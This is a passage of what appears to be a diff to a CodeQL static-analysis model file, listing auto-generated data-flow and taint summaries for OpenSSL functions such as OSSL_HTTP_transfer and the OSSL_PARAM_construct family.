"OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[6]", "Argument[*6]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[7]", "Argument[*7]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_parse_url", "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)", "", "Argument[8]", "Argument[*8]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_proxy_connect", "(BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_proxy_connect", "(BIO *,const char *,const char *,const char *,const char *,int,BIO *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*5]", "Argument[*0].Field[**expected_ct]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[4]", "Argument[*0].Field[*method_POST]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[4]", "Argument[*0].Field[*req]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[5]", "Argument[*0].Field[**expected_ct]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[6]", "Argument[*0].Field[*expect_asn1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[7]", "Argument[*0].Field[*max_resp_len]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[8]", "Argument[*0].Field[*max_time]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_set1_request", "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[9]", "Argument[*0].Field[*keep_alive]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[**10]", "Argument[**0].Field[***upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*10]", "Argument[**0].Field[**upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*15]", "Argument[**0].Field[**expected_ct]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*1]", "Argument[**0].Field[**server]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*2]", "Argument[**0].Field[**port]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*5]", "Argument[**0].Field[**proxy]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*7]", "Argument[*8]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*7]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*8]", "Argument[*7]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[*8]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[10]", "Argument[**0].Field[*upd_arg]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[11]", "Argument[**0].Field[*buf_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[14]", "Argument[**0].Field[*method_POST]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[14]", "Argument[**0].Field[*req]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[15]", "Argument[**0].Field[**expected_ct]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[16]", "Argument[**0].Field[*expect_asn1]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[17]", "Argument[**0].Field[*max_resp_len]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[18]", "Argument[**0].Field[*max_time]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[18]", "Argument[**0].Field[*max_total_time]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[19]", "Argument[**0].Field[*keep_alive]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[1]", "Argument[**0].Field[**server]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[2]", "Argument[**0].Field[**port]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[4]", "Argument[**0].Field[*use_ssl]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[5]", "Argument[**0].Field[**proxy]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[7]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[8]", "Argument[**0].Field[*rbio]", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[8]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_HTTP_transfer", "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)", "", "Argument[9]", "Argument[**0].Field[*upd_fn]", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_VALUE_free", "(OSSL_IETF_ATTR_SYNTAX_VALUE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_VALUE_free", "(OSSL_IETF_ATTR_SYNTAX_VALUE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_add1_value", "(OSSL_IETF_ATTR_SYNTAX *,int,void *)", "", "Argument[1]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_free", "(OSSL_IETF_ATTR_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_free", "(OSSL_IETF_ATTR_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_get0_policyAuthority", "(const OSSL_IETF_ATTR_SYNTAX *)", "", "Argument[*0].Field[**policyAuthority]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_get0_policyAuthority", "(const OSSL_IETF_ATTR_SYNTAX *)", "", "Argument[*0].Field[*policyAuthority]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_get_value_num", "(const OSSL_IETF_ATTR_SYNTAX *)", "", "Argument[*0].Field[**values].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_set0_policyAuthority", "(OSSL_IETF_ATTR_SYNTAX *,GENERAL_NAMES *)", "", "Argument[*1]", "Argument[*0].Field[**policyAuthority]", "value", "dfc-generated"] + - ["", "", True, "OSSL_IETF_ATTR_SYNTAX_set0_policyAuthority", "(OSSL_IETF_ATTR_SYNTAX *,GENERAL_NAMES *)", "", "Argument[1]", "Argument[*0].Field[*policyAuthority]", "value", "dfc-generated"] + - ["", "", True, "OSSL_INDICATOR_get_callback", "(OSSL_LIB_CTX *,OSSL_INDICATOR_CALLBACK **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_INFO_SYNTAX_POINTER_free", "(OSSL_INFO_SYNTAX_POINTER *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_INFO_SYNTAX_POINTER_free", "(OSSL_INFO_SYNTAX_POINTER *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_INFO_SYNTAX_free", "(OSSL_INFO_SYNTAX *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_INFO_SYNTAX_free", "(OSSL_INFO_SYNTAX *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_free", "(OSSL_ISSUER_SERIAL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_free", "(OSSL_ISSUER_SERIAL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_get0_issuerUID", "(const OSSL_ISSUER_SERIAL *)", "", "Argument[*0].Field[**issuerUID]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_get0_issuerUID", "(const OSSL_ISSUER_SERIAL *)", "", "Argument[*0].Field[*issuerUID]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_get0_serial", "(const OSSL_ISSUER_SERIAL *)", "", "Argument[*0].Field[*serial]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_set1_issuer", "(OSSL_ISSUER_SERIAL *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_set1_issuerUID", "(OSSL_ISSUER_SERIAL *,const ASN1_BIT_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_ISSUER_SERIAL_set1_serial", "(OSSL_ISSUER_SERIAL *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_LIB_CTX_get_conf_diagnostics", "(OSSL_LIB_CTX *)", "", "Argument[*0].Field[*conf_diagnostics]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "OSSL_LIB_CTX_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "OSSL_LIB_CTX_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "OSSL_LIB_CTX_get_data", "(OSSL_LIB_CTX *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_LIB_CTX_new_child", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_LIB_CTX_new_from_dispatch", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_LIB_CTX_set_conf_diagnostics", "(OSSL_LIB_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*conf_diagnostics]", "value", "dfc-generated"] + - ["", "", True, "OSSL_NAMED_DAY_free", "(OSSL_NAMED_DAY *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_NAMED_DAY_free", "(OSSL_NAMED_DAY *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_free", "(OSSL_OBJECT_DIGEST_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_free", "(OSSL_OBJECT_DIGEST_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_get0_digest", "(const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_get0_digest", "(const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_get0_digest", "(const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "OSSL_OBJECT_DIGEST_INFO_set1_digest", "(OSSL_OBJECT_DIGEST_INFO *,int,X509_ALGOR *,ASN1_BIT_STRING *)", "", "Argument[1]", "Argument[*0].Field[*digestedObjectType].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_BN", "(OSSL_PARAM_BLD *,const char *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_BN_pad", "(OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t)", "", "Argument[3]", "Argument[*0].Field[*secure_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_BN_pad", "(OSSL_PARAM_BLD *,const char *,const BIGNUM *,size_t)", "", "Argument[3]", "Argument[*0].Field[*total_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_octet_string", "(OSSL_PARAM_BLD *,const char *,const void *,size_t)", "", "Argument[3]", "Argument[*0].Field[*secure_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_octet_string", "(OSSL_PARAM_BLD *,const char *,const void *,size_t)", "", "Argument[3]", "Argument[*0].Field[*total_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_utf8_string", "(OSSL_PARAM_BLD *,const char *,const char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*secure_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_push_utf8_string", "(OSSL_PARAM_BLD *,const char *,const char *,size_t)", "", "Argument[3]", "Argument[*0].Field[*total_blocks]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_BLD_to_param", "(OSSL_PARAM_BLD *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[*3]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[1]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[3]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[4]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_allocate_from_text", "(OSSL_PARAM *,const OSSL_PARAM *,const char *,const char *,size_t,int *)", "", "Argument[4]", "Argument[*0].Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_BN", "(const char *,unsigned char *,size_t)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_BN", "(const char *,unsigned char *,size_t)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_BN", "(const char *,unsigned char *,size_t)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_BN", "(const char *,unsigned char *,size_t)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_BN", "(const char *,unsigned char *,size_t)", "", "Argument[2]", "ReturnValue.Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_double", "(const char *,double *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_double", "(const char *,double *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_double", "(const char *,double *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_double", "(const char *,double *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int32", "(const char *,int32_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int32", "(const char *,int32_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int32", "(const char *,int32_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int32", "(const char *,int32_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int64", "(const char *,int64_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int64", "(const char *,int64_t *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int64", "(const char *,int64_t *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int64", "(const char *,int64_t *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int", "(const char *,int *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int", "(const char *,int *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int", "(const char *,int *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_int", "(const char *,int *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_long", "(const char *,long *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_long", "(const char *,long *)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_long", "(const char *,long *)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_long", "(const char *,long *)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[**1]", "ReturnValue.Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_ptr", "(const char *,void **,size_t)", "", "Argument[2]", "ReturnValue.Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[**1]", "ReturnValue.Field[***data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[*1]", "ReturnValue.Field[**data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[0]", "ReturnValue.Field[*key]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[1]", "ReturnValue.Field[*data]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_octet_string", "(const char *,void *,size_t)", "", "Argument[2]", "ReturnValue.Field[*data_size]", "value", "dfc-generated"] + - ["", "", True, "OSSL_PARAM_construct_size_t", "(const char *,size_t *)", "", "Argument[*0]", "ReturnValue.Field[**key]", "value", 